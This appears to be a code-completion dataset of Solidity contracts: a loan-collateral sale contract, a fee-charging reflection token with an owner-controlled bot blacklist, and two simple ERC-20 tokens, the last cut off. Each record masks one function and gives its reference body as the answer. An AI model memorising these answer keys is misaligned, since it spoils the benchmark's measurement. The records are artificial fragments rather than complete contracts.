function next(bytes32 loan) public view returns (uint256) {
return saleIndexByLoan[loan].length;
}
function create(
bytes32 loanIndex,
address borrower,
address lender,
address arbiter,
address liquidator,
bytes32 secretHashA,
bytes32 secretHashB,
bytes32 secretHashC,
bytes32 secretHashD,
bytes20 pubKeyHash
) external returns(bytes32 sale) {
require(msg.sender == address(loans));
saleIndex = add(saleIndex, 1);
sale = bytes32(saleIndex);
sales[sale].loanIndex = loanIndex;
sales[sale].borrower = borrower;
sales[sale].lender = lender;
sales[sale].arbiter = arbiter;
sales[sale].liquidator = liquidator;
sales[sale].createdAt = now;
sales[sale].pubKeyHash = pubKeyHash;
sales[sale].discountBuy = loans.ddiv(loans.discountCollateralValue(loanIndex));
sales[sale].set = true;
secretHashes[sale].secretHashA = secretHashA;
secretHashes[sale].secretHashB = secretHashB;
secretHashes[sale].secretHashC = secretHashC;
secretHashes[sale].secretHashD = secretHashD;
saleIndexByLoan[loanIndex].push(sale);
}
function provideSig(
bytes32 sale,
bytes calldata refundableSig,
bytes calldata seizableSig
) external {
require(sales[sale].set);
require(now < settlementExpiration(sale));
if (msg.sender == sales[sale].borrower) {
borrowerSigs[sale].refundableSig = refundableSig;
borrowerSigs[sale].seizableSig = seizableSig;
} else if (msg.sender == sales[sale].lender) {
lenderSigs[sale].refundableSig = refundableSig;
lenderSigs[sale].seizableSig = seizableSig;
} else if (msg.sender == sales[sale].arbiter) {
arbiterSigs[sale].refundableSig = refundableSig;
arbiterSigs[sale].seizableSig = seizableSig;
} else {
revert();
}
}
function provideSecret(bytes32 sale, bytes32 secret_) public {
require(sales[sale].set);
bytes32 secretHash = sha256(abi.encodePacked(secret_));
revealed[secretHash] = true;
if (secretHash == secretHashes[sale].secretHashA) { secretHashes[sale].secretA = secret_; }
if (secretHash == secretHashes[sale].secretHashB) { secretHashes[sale].secretB = secret_; }
if (secretHash == secretHashes[sale].secretHashC) { secretHashes[sale].secretC = secret_; }
if (secretHash == secretHashes[sale].secretHashD) { secretHashes[sale].secretD = secret_; }
}
function hasSecrets(bytes32 sale) public view returns (bool) {
uint8 numCorrectSecrets = 0;
if (revealed[secretHashes[sale].secretHashA]) { numCorrectSecrets += 1; }
if (revealed[secretHashes[sale].secretHashB]) { numCorrectSecrets += 1; }
if (revealed[secretHashes[sale].secretHashC]) { numCorrectSecrets += 1; }
return (numCorrectSecrets >= 2);
}
<FILL_FUNCTION>
function provideSecretsAndAccept(bytes32 sale, bytes32[3] calldata secrets_) external {
provideSecret(sale, secrets_[0]);
provideSecret(sale, secrets_[1]);
provideSecret(sale, secrets_[2]);
accept(sale);
}
function refund(bytes32 sale) external {
require(!accepted(sale));
require(!off(sale));
require(now > settlementExpiration(sale));
require(sales[sale].discountBuy > 0);
sales[sale].off = true;
require(token.transfer(sales[sale].liquidator, sales[sale].discountBuy));
if (next(sales[sale].loanIndex) == 3) {
require(token.transfer(sales[sale].borrower, loans.repaid(sales[sale].loanIndex)));
}
}
} |
require(!accepted(sale));
require(!off(sale));
require(hasSecrets(sale));
require(revealed[secretHashes[sale].secretHashD]);
sales[sale].accepted = true;
uint256 available = add(sales[sale].discountBuy, loans.repaid(sales[sale].loanIndex));
uint256 amount = min(available, loans.owedToLender(sales[sale].loanIndex));
require(token.transfer(sales[sale].lender, amount));
available = sub(available, amount);
if (available >= add(loans.fee(sales[sale].loanIndex), loans.penalty(sales[sale].loanIndex))) {
if (sales[sale].arbiter != address(0)) {
require(token.transfer(sales[sale].arbiter, loans.fee(sales[sale].loanIndex)));
}
require(token.approve(address(med), loans.penalty(sales[sale].loanIndex)));
med.fund(loans.penalty(sales[sale].loanIndex), token);
available = sub(available, add(loans.fee(sales[sale].loanIndex), loans.penalty(sales[sale].loanIndex)));
} else if (available > 0) {
require(token.approve(address(med), available));
med.fund(available, token);
available = 0;
}
if (available > 0) { require(token.transfer(sales[sale].borrower, available)); }
| function accept(bytes32 sale) public | function accept(bytes32 sale) public |
81106 | MetaverseBrokers | manualSend | contract MetaverseBrokers is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromAntiBot;
mapping (address => uint) private _antiBot;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _reflectionFee = 1;
uint256 public _tokensBuyFee = 12;
uint256 public _maxTokensBuyFee = 12;
uint256 public _tokensSellFee = 12;
uint256 private _swapThreshold;
uint256 private _swapAmountMax;
address payable private _treasuryWallet;
address payable private _teamWallet;
string private constant _name = "MetaverseBrokers";
string private constant _symbol = "$MEBRO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
uint private tradingOpenTime;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxWalletAmount = _tTotal;
event TreasuryWalletUpdated(address wallet);
event TeamWalletUpdated(address wallet);
event MaxWalletAmountRemoved();
event SwapThresholdUpdated(uint _swapThreshold);
event SwapAmountMaxUpdated(uint _swapAmountMax);
event BuyFeeUpdated(uint _tokensBuyFee);
event ExcludedFromFees(address _account, bool _excluded);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_treasuryWallet = payable(0x22B44C1D42239a4d0CF67C2f83ccaa869Ed20235);
_teamWallet = payable(0xEA70D22a56bC8bA6fc6F3B28D542303225C160CB);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_treasuryWallet] = true;
_isExcludedFromFee[_teamWallet] = true;
_isExcludedFromAntiBot[owner()] = true;
_isExcludedFromAntiBot[address(this)] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function updateTreasuryWallet(address payable account) external onlyOwner() {
_treasuryWallet = account;
excludeFromFee(account, true);
excludeFromAntiBot(account);
emit TreasuryWalletUpdated(account);
}
function updateTeamWallet(address payable account) external onlyOwner() {
_teamWallet = account;
excludeFromFee(account, true);
excludeFromAntiBot(account);
emit TeamWalletUpdated(account);
}
function setSwapThreshold(uint256 swapThreshold) external onlyOwner() {
_swapThreshold = swapThreshold;
emit SwapThresholdUpdated(swapThreshold);
}
function setSwapAmountMax(uint256 swapAmountMax) external onlyOwner() {
_swapAmountMax = swapAmountMax;
emit SwapAmountMaxUpdated(swapAmountMax);
}
function setNewBuyFee(uint256 newBuyFee) external onlyOwner() {
require(newBuyFee <= _maxTokensBuyFee, "Buy fee cannot be that large");
_tokensBuyFee = newBuyFee;
emit BuyFeeUpdated(newBuyFee);
}
function excludeFromFee(address account, bool excluded) public onlyOwner() {
_isExcludedFromFee[account] = excluded;
emit ExcludedFromFees(account, excluded);
}
function excludeFromAntiBot(address account) public onlyOwner() {
_isExcludedFromAntiBot[account] = true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(balanceOf(to) + amount <= _maxWalletAmount);
if(!_isExcludedFromAntiBot[to] && _antiBot[to] == 0) {
uint elapsed = block.timestamp - tradingOpenTime;
if(elapsed < 30) {
uint256 duration = (30 - elapsed) * 240;
_antiBot[to] = block.timestamp + duration;
}
}
}
uint256 swapAmount = balanceOf(address(this));
if(swapAmount > _swapAmountMax) {
swapAmount = _swapAmountMax;
}
if (swapAmount > _swapThreshold &&
!inSwap &&
from != uniswapV2Pair &&
swapEnabled) {
swapTokensForEth(swapAmount);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHTreasuryAndTeam(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHTreasuryAndTeam(uint256 amount) private {
//10/12ths goes to treasury because sell fee is 10% and team is 2%.
uint256 treasury = amount * 10 / 12;
uint256 team = amount - treasury;
_treasuryWallet.transfer(treasury);
_teamWallet.transfer(team);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromAntiBot[address(uniswapV2Router)] = true;
_isExcludedFromAntiBot[address(uniswapV2Pair)] = true;
_isExcludedFromFee[address(uniswapV2Router)] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxWalletAmount = 1e7 * 10**9;
tradingOpen = true;
tradingOpenTime = block.timestamp;
_swapThreshold = 1e6 * 10**9;
_swapAmountMax = 3e6 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots) public onlyOwner {
//Cannot set bots after first 12 hours
require(block.timestamp < tradingOpenTime + (1 days / 2), "Cannot set bots anymore");
for (uint i = 0; i < bots.length; i++) {
_bots[bots[i]] = true;
}
}
function removeStrictWalletLimit() public onlyOwner {
_maxWalletAmount = 1e9 * 10**9;
emit MaxWalletAmountRemoved();
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _calculateFee(uint256 fee, address sender, address recipient) private view returns (uint256) {
if(!tradingOpen || inSwap) {
return 0;
}
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
return 0;
}
return fee;
}
function _calculateReflectionFee(address sender, address recipient) private view returns (uint256) {
if(sender == uniswapV2Pair && _tokensBuyFee == 0) {
return _calculateFee(0, sender, recipient);
}
return _calculateFee(_reflectionFee, sender, recipient);
}
function _calculateTokenFee(address sender, address recipient) private view returns (uint256) {
if(sender == uniswapV2Pair) {
return _calculateFee(_tokensBuyFee, sender, recipient);
}
return _calculateFee(_tokensSellFee, sender, recipient);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getValues(tAmount, _calculateReflectionFee(sender, recipient), _calculateTokenFee(sender, recipient));
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() public {
require(_msgSender() == _teamWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() public {<FILL_FUNCTION_BODY> }
function manualSwapAndSend() external {
manualSwap();
manualSend();
}
function _getValues(uint256 tAmount, uint256 reflectionFee, uint256 tokenFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, reflectionFee, tokenFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract MetaverseBrokers is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromAntiBot;
mapping (address => uint) private _antiBot;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _reflectionFee = 1;
uint256 public _tokensBuyFee = 12;
uint256 public _maxTokensBuyFee = 12;
uint256 public _tokensSellFee = 12;
uint256 private _swapThreshold;
uint256 private _swapAmountMax;
address payable private _treasuryWallet;
address payable private _teamWallet;
string private constant _name = "MetaverseBrokers";
string private constant _symbol = "$MEBRO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
uint private tradingOpenTime;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxWalletAmount = _tTotal;
event TreasuryWalletUpdated(address wallet);
event TeamWalletUpdated(address wallet);
event MaxWalletAmountRemoved();
event SwapThresholdUpdated(uint _swapThreshold);
event SwapAmountMaxUpdated(uint _swapAmountMax);
event BuyFeeUpdated(uint _tokensBuyFee);
event ExcludedFromFees(address _account, bool _excluded);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_treasuryWallet = payable(0x22B44C1D42239a4d0CF67C2f83ccaa869Ed20235);
_teamWallet = payable(0xEA70D22a56bC8bA6fc6F3B28D542303225C160CB);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_treasuryWallet] = true;
_isExcludedFromFee[_teamWallet] = true;
_isExcludedFromAntiBot[owner()] = true;
_isExcludedFromAntiBot[address(this)] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function updateTreasuryWallet(address payable account) external onlyOwner() {
_treasuryWallet = account;
excludeFromFee(account, true);
excludeFromAntiBot(account);
emit TreasuryWalletUpdated(account);
}
function updateTeamWallet(address payable account) external onlyOwner() {
_teamWallet = account;
excludeFromFee(account, true);
excludeFromAntiBot(account);
emit TeamWalletUpdated(account);
}
function setSwapThreshold(uint256 swapThreshold) external onlyOwner() {
_swapThreshold = swapThreshold;
emit SwapThresholdUpdated(swapThreshold);
}
function setSwapAmountMax(uint256 swapAmountMax) external onlyOwner() {
_swapAmountMax = swapAmountMax;
emit SwapAmountMaxUpdated(swapAmountMax);
}
function setNewBuyFee(uint256 newBuyFee) external onlyOwner() {
require(newBuyFee <= _maxTokensBuyFee, "Buy fee cannot be that large");
_tokensBuyFee = newBuyFee;
emit BuyFeeUpdated(newBuyFee);
}
function excludeFromFee(address account, bool excluded) public onlyOwner() {
_isExcludedFromFee[account] = excluded;
emit ExcludedFromFees(account, excluded);
}
function excludeFromAntiBot(address account) public onlyOwner() {
_isExcludedFromAntiBot[account] = true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(balanceOf(to) + amount <= _maxWalletAmount);
if(!_isExcludedFromAntiBot[to] && _antiBot[to] == 0) {
uint elapsed = block.timestamp - tradingOpenTime;
if(elapsed < 30) {
uint256 duration = (30 - elapsed) * 240;
_antiBot[to] = block.timestamp + duration;
}
}
}
uint256 swapAmount = balanceOf(address(this));
if(swapAmount > _swapAmountMax) {
swapAmount = _swapAmountMax;
}
if (swapAmount > _swapThreshold &&
!inSwap &&
from != uniswapV2Pair &&
swapEnabled) {
swapTokensForEth(swapAmount);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHTreasuryAndTeam(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHTreasuryAndTeam(uint256 amount) private {
//10/12ths goes to treasury because sell fee is 10% and team is 2%.
uint256 treasury = amount * 10 / 12;
uint256 team = amount - treasury;
_treasuryWallet.transfer(treasury);
_teamWallet.transfer(team);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromAntiBot[address(uniswapV2Router)] = true;
_isExcludedFromAntiBot[address(uniswapV2Pair)] = true;
_isExcludedFromFee[address(uniswapV2Router)] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
_maxWalletAmount = 1e7 * 10**9;
tradingOpen = true;
tradingOpenTime = block.timestamp;
_swapThreshold = 1e6 * 10**9;
_swapAmountMax = 3e6 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots) public onlyOwner {
//Cannot set bots after first 12 hours
require(block.timestamp < tradingOpenTime + (1 days / 2), "Cannot set bots anymore");
for (uint i = 0; i < bots.length; i++) {
_bots[bots[i]] = true;
}
}
function removeStrictWalletLimit() public onlyOwner {
_maxWalletAmount = 1e9 * 10**9;
emit MaxWalletAmountRemoved();
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _calculateFee(uint256 fee, address sender, address recipient) private view returns (uint256) {
if(!tradingOpen || inSwap) {
return 0;
}
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
return 0;
}
return fee;
}
function _calculateReflectionFee(address sender, address recipient) private view returns (uint256) {
if(sender == uniswapV2Pair && _tokensBuyFee == 0) {
return _calculateFee(0, sender, recipient);
}
return _calculateFee(_reflectionFee, sender, recipient);
}
function _calculateTokenFee(address sender, address recipient) private view returns (uint256) {
if(sender == uniswapV2Pair) {
return _calculateFee(_tokensBuyFee, sender, recipient);
}
return _calculateFee(_tokensSellFee, sender, recipient);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getValues(tAmount, _calculateReflectionFee(sender, recipient), _calculateTokenFee(sender, recipient));
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() public {
require(_msgSender() == _teamWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
<FILL_FUNCTION>
function manualSwapAndSend() external {
manualSwap();
manualSend();
}
function _getValues(uint256 tAmount, uint256 reflectionFee, uint256 tokenFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, reflectionFee, tokenFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
require(_msgSender() == _teamWallet);
uint256 contractETHBalance = address(this).balance;
sendETHTreasuryAndTeam(contractETHBalance);
| function manualSend() public | function manualSend() public |
70666 | GlobalTechToken | GlobalTechToken | contract GlobalTechToken is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
function GlobalTechToken(){<FILL_FUNCTION_BODY> }
} | contract GlobalTechToken is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
<FILL_FUNCTION>
} |
balances[msg.sender] = 230000000000000000000000000; // Give the creator all initial tokens
totalSupply = 230000000000000000000000000; // Update total supply
name = "Global Tech Token"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "GTH"; // Set the symbol for display purposes
| function GlobalTechToken() | function GlobalTechToken() |
72899 | BitozzToken | null | contract BitozzToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Burn(address indexed burner, uint256 value);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(tokens > 0);
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
require(spender != address(0));
require(tokens > 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from != address(0));
require(to != address(0));
require(tokens > 0);
require(balances[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Increase the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To increment
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _addedValue The amount of tokens to increase the allowance by.
// ------------------------------------------------------------------------
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Decrease the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To decrement
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _subtractedValue The amount of tokens to decrease the allowance by.
// ------------------------------------------------------------------------
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Burns a specific amount of tokens.
// _value The amount of token to be burned.
// ------------------------------------------------------------------------
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
